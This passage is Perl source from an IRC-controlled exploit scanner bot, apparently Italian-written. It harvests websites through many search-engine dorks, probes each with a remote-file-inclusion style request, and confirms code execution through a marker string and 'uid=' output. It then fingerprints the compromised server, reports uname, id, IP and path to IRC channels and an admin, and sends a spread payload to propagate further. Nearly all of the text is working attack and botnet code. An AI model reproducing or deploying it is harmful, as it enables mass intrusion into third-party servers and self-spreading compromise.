                my $contatore = 0;
                my %hosts;
                my @asklist = &ask($dork);
                push( my @tot, @asklist );
                my @puliti = &unici(@tot);
                display( $dsp,"PRIVMSG $channel :7[3$channel7] 14A4S14K 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 =>  4$dork");
                my $uni = scalar(@puliti);

                foreach my $site (@puliti) {
                    $contatore++;
                    if ( $contatore % 100 == 0 ) {
                    }
                    if ( $contatore == $uni - 1 ) {
                    display( $dsp,"PRIVMSG $channel :7[3$channel7] 14A4S14K 4FINISHED 7for 4$dork 12[]8[]4[]");
                    }
                    my $test  = "http://".$site.$bug.$id."?";
                    my $print = "http://".$site.$bug.$printcmd."?";
                    my $req   = HTTP::Request->new( GET => $test );
                    my $ua    = LWP::UserAgent->new();
                    $ua->timeout(5);
                    my $response = $ua->request($req);
                    if ( $response->is_success ) {
                        my $re = $response->content;
                        if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Uptime: $up");
                                display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $admin   :4[14A4S14K4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Id: $id1");
                                display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Pwd: $pwd1");
                                display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Server Name: $name1");
                                display( $dsp,"PRIVMSG $admin   :4[14A4S14K4] Safe: $print");
                                display( $dsp,"PRIVMSG $chanres :4[14A4S14K4] Safe Mode OFF: $print"); 
                                my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);
                            }
                        }
                        elsif ( $re =~ /princeteam1979/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Safe Mode ON: $print");
                                display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[14A4S14K4] Server Name $name1");
                                display( $dsp,"PRIVMSG $chanres :4[14A4S14K4] Safe Mode ON: $print");
                                my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);
 
 }
                        }
                    }
                }
            }
            exit;
        }
    }

    if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
        if ( my $pid = fork ) {
            waitpid( $pid, 0 );
        }
        else {
            if (fork) {
                exit;
            }
            else {
                my $bug       = $1;
                my $dork      = $2;
                my $contatore = 0;
                my %hosts;
                my @fireball = fireball($dork);
                push( my @tot, @fireball );
                my @puliti = &unici(@tot);
                display( $dsp,"PRIVMSG $channel :7[3$channel7] 4F3i6r7e4B7a12ll 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 =>  4$dork");
               my $uni = scalar(@puliti);

                foreach my $site (@puliti) {
                    $contatore++;
                    if ( $contatore % 100 == 0 ) {
                    }
                    if ( $contatore == $uni - 1 ) {
                    display( $dsp,"PRIVMSG $channel :7[3$channel7] 4F3i6r7e4B7a12ll 4FINISHED 7for 4$dork 12[]8[]4[]");
                    }
                    my $test  = "http://".$site.$bug.$id."?";
                    my $print = "http://".$site.$bug.$printcmd."?";
                    my $req   = HTTP::Request->new( GET => $test );
                    my $ua    = LWP::UserAgent->new();
                    $ua->timeout(5);
                    my $response = $ua->request($req);
                    if ( $response->is_success ) {
                        my $re = $response->content;
                        if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Uptime: $up");
                                display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $admin   :4[4F3i6r7e4B7a12ll4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Id: $id1");
                                display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Pwd: $pwd1");
                                display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Server Name: $name1");
                                display( $dsp,"PRIVMSG $admin   :4[4F3i6r7e4B7a12ll4] Safe: $print");
                                display( $dsp,"PRIVMSG $chanres :4[4F3i6r7e4B7a12ll4] Safe Mode OFF: $print"); 
                                my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);
                            }
                        }
                        elsif ( $re =~ /princeteam1979/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Safe Mode ON: $print");
                                display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Server Name $name1");
                                display( $dsp,"PRIVMSG $chanres :4[4F3i6r7e4B7a12ll4] Safe Mode ON: $print");
                                my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);

							}
                        }
                    }
                }
            }
            exit;
        }
    }
}

sub display() {
    if ( $#_ == '1' ) {
        my $dsp = $_[0];
        print $dsp "$_[1]\n";
    }
    else {
        print $dsp "$_[0]\n";
    }
}

sub os() {
    my $site = $_[0];
    my $Res  = query($site);

    while ( $Res =~ m/<br>uname -a:(.+?)\<br>/g ) {
        $un = $1;
    }
    while ( $Res =~ m/<br>uptime:(.+?)\<br>/g ) {
        $up = $1;
    }
    while ( $Res =~ m/<br>id:(.+?)\<br>/g ) {
        $id1 = $1;
    }
    while ( $Res =~ m/<br>pwd:(.+?)\<br>/g ) {
        $pwd1 = $1;
    }
    while ( $Res =~ m/<br>php:(.+?)\<br>/g ) {
        $php1 = $1;
    }
    while ( $Res =~ m/<br>software:(.+?)\<br>/g ) {
        $sof1 = $1;
    }
    while ( $Res =~ m/<br>server-ip:(.+?)\<br>/g ) {
        $ip1 = $1;
    }
    while ( $Res =~ m/<br>server-name:(.+?)\<br>/g ) {
        $name1 = $1;
    }
    while ( $Res =~ m/<br>os:(.+?)\<br>/g ) {
        $os = $1;
    }
    while ( $Res =~ m/<br>free:(.+?)\<br>/g ) {
        $free = $1;
    }
    while ( $Res =~ m/<br>used:(.+?)\<br>/g ) {
        $used = $1;
    }
    while ( $Res =~ m/<br>total:(.+?)\<br>/g ) {
        $all = $1;
    }
}

sub googlet {
    my @dominios = (
        "ae", "com.ar", "at", "com.au", "be", "com.br",
        "ca", "ch",     "cl", "de",     "dk"
    );
    my @country =
      ( "AE", "AR", "AT", "AU", "BE", "BR", "CA", "CH", "CL", "DE", "DK" );
    my @lst;
    my $key = key( $_[0] );
    my $c   = 0;
    foreach my $i (@dominios) {
        my @lista = google( $i, $key, $country[$c] );
        push( @lst, @lista );
        $c++;
    }
    return @lst;
}

sub google() {
    my @lst;
    my $i       = $_[0];
    my $key     = $_[1];
    my $country = $_[2];
    for ( $b = 0 ; $b <= 100 ; $b += 100 ) {
        my $Go =
          (     "www.google." . $i
              . "/search?hl=en&q="
              . key($key)
              . "&num=100&start="
              . $b
              . "&meta=cr%3Dcountry"
              . $country );
        my $Res = query($Go);
        while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
            if ( $1 !~ /google/ ) {
                my $k    = $1;
                my @grep = links($k);
                push( @lst, @grep );
            }
        }
    }
    return @lst;
}


sub alltheweb() {
    my @lst;
    my $key = $_[0];
    my $i   = 0;
    my $pg  = 0;
    for ( $i = 0 ; $i <= 1000 ; $i += 100 ) {
        my $all =
          ( "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q="
              . key($key) . "&o="
              . $i );
        my $Res = query($all);
        while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
            my $k = $1;
            $k =~ s/ //g;
            my @grep = links($k);
            push( @lst, @grep );
        }
    }
    return @lst;
}

sub altavista() {
    my @lst;
    my $key = $_[0];
    for ( $b = 1 ; $b <= 1000 ; $b += 10 ) {
        my $AlT =
          ( "http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q="
              . key($key) . "&stq="
              . $b );
        my $Res = query($AlT);
        while ( $Res =~ m/<span class=ngrn>(.+?)\//g ) {
            if ( $1 !~ /altavista/ ) {
                my $k = $1;
                $k =~ s/<//g;
                $k =~ s/ //g;
                my @grep = links($k);
                push( @lst, @grep );
            }
        }
        if   ( $Res =~ /target=\"_self\">Succ/ ) { }
        else                                     { return @lst; }
    }
    return @lst;
}


sub uolsub() {
    my @lst;
    my $key = $_[0];
    for ( $b = 1 ; $b <= 1000 ; $b += 10 ) {
        my $UoL =
          (     "http://busca.uol.com.br/www/index.html?q="
              . key($key)
              . "&start="
              . $i );
        my $Res = query($UoL);
        while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
            my $k = $1;
            if ( $k !~ /busca|uol|yahoo/ ) {
                my $k    = $1;
                my @grep = links($k);
                push( @lst, @grep );
            }
        }
    }
    return @lst;
}

sub search() {
    my $key = $_[0];
    my $i   = 1;
    my $pg  = 80;
    my @lst;
    my $av = 1;
    while ( $i <= $pg ) {
        my $search = "http://www.search.com/search?q=$key";
        my $req    = HTTP::Request->new( GET => $search );
        my $ua     = LWP::UserAgent->new();
        $ua->agent('Netscape 4.78/U.S., 25-Jun-01; (c) 1995-2000');
        my $response = $ua->request($req);
        my $resp     = $response->content;
        while ( $resp =~ m/<a href=\"?http:\/\/(.+?)\//g ) {
            if ( $1 !~ /msn|live|google|yahoo/ ) {
                my $ok = "$1/";
                push( @lst, $ok );
            }
        }
        $av = $av + 10;
        $i++;
    }
    return @lst;
}

sub searchs() {
    my @lst;
    my $key = $_[0];
    for ( $b = 1 ; $b <= 100 ; $b++ ) {
        my $sc =
          ( "http://www.search.com/search?q=" . key($key) . "&nav=" . $b );
        my $Res = query($sc);
        while ( $Res =~ m/<a href=\"?http:\/\/(.+?)/g ) {
            my $k    = $1;
            my @grep = links($k);
            push( @lst, @grep );
        }
    }
    return @lst;
}

sub msn() {
    my @lst;
    my $key = $_[0];
    for ( $b = 1 ; $b <= 1000 ; $b += 10 ) {
        my $MsN =
          (     "http://search.live.com/results.aspx?q="
              . key($key)
              . "&first="
              . $b
              . "&FORM=PERE" );
        my $Res = query($MsN);
        while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
            if ( $1 !~ /msn|live/ ) {
                my $k    = $1;
                my @grep = links($k);
                push( @lst, @grep );
            }
        }
    }
    return @lst;
}

sub ask() {
    my @lst;
    my $key = $_[0];
    my $i   = 0;
    my $pg  = 0;
    for ( $i = 0 ; $i <= 1000 ; $i += 10 ) {
        my $Ask =
          (     "http://it.ask.com/web?q="
              . key($key)
              . "&o=312&l=dir&qsrc=0&page="
              . $i
              . "&dm=all" );
        my $Res = query($Ask);
        while ( $Res =~
            m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g )
        {
            my $k = $3;
            $k =~ s/[\"\ ]//g;
            my @grep = links($k);
            push( @lst, @grep );
        }
    }
    return @lst;
}

sub fireball() {
    my $key    = $_[0];
    my $inizio = 1;
    my $pagine = 200;
    my @lst;
    my $av = 0;
    while ( $inizio <= $pagine ) {
        my $fireball =
            "http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query="
          . key($key)
          . "&cat=fb_loc&idx=all&enc=utf-8";
        my $Res = query($fireball);
        while ( $Res =~ m/<a href=\"?http:\/\/(.+?)\//g ) {
            if ( $1 !~ /msn|live|google|yahoo/ ) {
                my $k    = "$1/";
                my @grep = links($k);
                push( @lst, @grep );
            }
        }
        $av = $av + 10;
        $inizio++;
    }
    return @lst;
}

sub links() {
    my @l;
    my $link = $_[0];
    my $host = $_[0];
    my $hdir = $_[0];
    $hdir =~ s/(.*)\/[^\/]*$/\1/;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $host .= "/";
    $link .= "/";
    $hdir .= "/";
    $host =~ s/\/\//\//g;
    $hdir =~ s/\/\//\//g;
    $link =~ s/\/\//\//g;
    push( @l, $link, $host, $hdir );
    return @l;
}

sub geths() {
    my $host = $_[0];
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    return $host;
}

sub key() {
    my $dork = $_[0];
    $dork =~ s/ /\+/g;
    $dork =~ s/:/\%3A/g;
    $dork =~ s/\//\%2F/g;
    $dork =~ s/&/\%26/g;
    $dork =~ s/\"/\%22/g;
    $dork =~ s/,/\%2C/g;
    $dork =~ s/\\/\%5C/g;
    return $dork;
}

sub end() {
    $string = $_[0];
    $string .= "/";
    $string =~ s/\/\//\//;
    while ( $string =~ /\/\// ) {
        $string =~ s/\/\//\//;
    }
    return ($string);
}

sub query($) {
    my $url = $_[0];
    $url =~ s/http:\/\///;
    my $host  = $url;
    my $query = $url;
    my $page  = "";
    $host  =~ s/href=\"?http:\/\///;
    $host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~ s/$host//;
    if ( $query eq "" ) { $query = "/"; }
    eval {
        my $sock = IO::Socket::INET->new(
            PeerAddr => "$host",
            PeerPort => "80",
            Proto    => "tcp"
        ) or return;
        print $sock
"GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
        my @r = <$sock>;
        $page = "@r";
        close($sock);
    };
    return $page;
}

sub get_link() {
    my $file_print = $_[1];
    my $link       = $_[0];
    my $host       = $_[0];
    my $host_dir   = $_[0];
    my @links;
    $host_dir =~ s/(.*)\/[^\/]*$/\1/;
    $host     =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $host_dir = &end($host_dir);
    $host     = &end($host);
    $link     = &end($host);
    push( @links, $link, $host, $host_dir );
    open( $file, '>>', $file_print );
    print $file "$link\n$host_dir\n$host\n";
    close($file);
    return @links;
}

sub unici {
    my @unici = ();
    my %visti = ();
    foreach my $elemento (@_) {
        $elemento =~ s/\/+/\//g;
        next if $visti{$elemento}++;
        push @unici, $elemento;
    }
    return @unici;
}